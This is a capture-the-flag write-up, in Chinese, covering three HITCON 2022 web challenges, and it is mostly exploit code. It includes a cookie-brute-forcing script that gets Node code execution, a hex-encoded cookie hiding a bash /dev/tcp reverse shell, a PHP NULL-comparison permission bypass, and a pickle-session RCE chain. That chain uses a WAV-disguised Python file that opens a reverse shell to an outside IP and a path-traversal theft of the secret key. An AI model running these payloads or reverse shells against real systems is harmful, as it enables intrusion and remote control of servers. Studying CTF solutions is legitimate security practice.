[HITCON2022]RCE

首先是拿到密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import urllib

payload = "7265717569726528276368696c645f70726f6365737327292e6578656328276c73202f2729" # require('child_process').exec('ls /')
payload = "7265712e7365637265743d224c316e4c316e4c22" # {"progress":40,"result":"Executing 'req.secret=\"L1nL1nL\"', result = L1nL1nL"}
payload = "7265712e7365637265743b202020202020202020" # {"progress":40,"result":"Executing 'req.secret; ', result = 9da639414e8fd48665d96928e0a816eabd87d511"}
url = "http://1tyb2z795p.rce.chal.hitconctf.com"

cookie = {
"code":'s:.wET5+teKDy+AVJt2hBMM0PGyfqtqCipVfufh5YmZVl4'
}

for i in range(1,len(payload)+1):
while(True):
r = requests.get(url+"/random",cookies=cookie)
currCookie = urllib.parse.unquote(r.headers['Set-Cookie'][5:])
index = currCookie.index(';')
currCookie = currCookie[0:index]
print(currCookie)
regexpCookie = currCookie[2:]
# print(regexpCookie)
# print(i)
# print(cookie['code'])
# print(regexpCookie)
# print(payload[0:i])
if(regexpCookie.startswith(payload[0:i])):
print(payload[0:i])
cookie['code'] = currCookie
print(currCookie)
break

r = requests.get(url+"/random",cookies=cookie)
print(r.text)

其次,通过密钥直接生成命令,进行执行,反弹一个 shel 回来

1
2
3
4
5
6
7
8
9
10
11
12
app.use(cookieParser("f16da2d9a16196e197b4825f566ee44e5e19c028"));

app.get("/test", function (req, res) {
// console.log(Buffer.from(req.signedCookies.code, 'hex').toString());
res
.cookie(
"code",
"7265717569726528276368696c645f70726f6365737327292e6578656353796e63282262617368202d63202762617368202d69203e26202f6465762f7463702f7670732f706f727420303e2631272229",
{ signed: true }
)
.sendFile(__dirname + "/index.html");
});

[HITCON2022]yeeclass

唯一绕过限制的地方,竟然是 NULL>=0 在 php 中是成立的

1
2
3
4
5
6
7
8
<?php
if(NULL >= 0)
echo 'Hello World!'; // 输出
if(NULL == 0)
echo 'Hello World!'; // 输出
if(NULL < 0)
echo "222"; // 不输出
?>

而且,当没有登陆的时候,SESSION 自动置零,$_SESSION["userclass"]==NULL

然后 PERM_TA=0 (NULL < PERM_TA)==false (NULL >= PERM_TA)==true 成功绕过

之后获取时间戳,又因为 uniqid 是根据时间戳生成了,爆破一下时间戳就可以了

[HITCON2022]s0undcl0ud

pickle 反序列化

文件上传绕过 if mimetypes.guess_type(file.filename)[0] in AUDIO_MIMETYPES and magic.from_buffer(file.stream.read(), mime=True) in AUDIO_MIMETYPES: 这就需要去翻一翻 magic 源码了

pickle 反序列化

app.py 中有这样一段代码,也就是指: session 是通过 pickle 序列化来存储的

1
2
3
4
class SessionInterface(SecureCookieSessionInterface):
serializer = pickle

app.session_interface = SessionInterface()

当我们拿到 app 的 secret_key 后,可以伪造 session,让其走到 pickle.load 的地方

上传文件,往 /app/music/ 目录中 写入 __init__.py

1
2
3
RIFFxxxxWAVEfmt = 1337  # file signature for `audio/x-wav`
import os
os.system('bash -c "bash -i >& /dev/tcp/192.168.43.128/1234 0>&1"')

之后加密 sesshion,使其 pickle 从 music 模块反序列化,触发 RCE

1
2
3
4
app_py = requests.get(f"http://{HOST}/@../app.py").text
secret_key = app_py.split("app.secret_key = '")[1].split("'")[0]

requests.get(f"http://{HOST}/", cookies={"session": sign(b'Vmusics\n2\x93.', secret_key)})